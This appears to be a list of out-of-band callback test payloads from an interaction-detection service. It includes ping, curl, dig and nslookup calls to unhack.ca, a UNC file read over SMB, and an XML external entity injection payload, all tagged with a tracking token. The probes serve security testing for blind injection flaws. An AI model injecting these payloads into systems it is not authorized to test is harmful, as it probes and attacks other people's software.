$ ping -c1 -p 001a81a847252cd42e68b30eb4872000 unhack.ca
 

$ curl http://unhack.ca/p/1a81a847252cd42e68b30eb48720
 

$ dig 1a81a847252cd42e68b30eb48720 @unhack.ca
 

$ dig 1a81a847252cd42e68b30eb48720.ns.unhack.ca
 

C:\> nslookup 1a81a847252cd42e68b30eb48720 unhack.ca
 

C:\> type \\unhack.ca\1a81a847252cd42e68b30eb48720\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1a81a847252cd42e68b30eb48720">]>
    <foo>&xxe;</foo>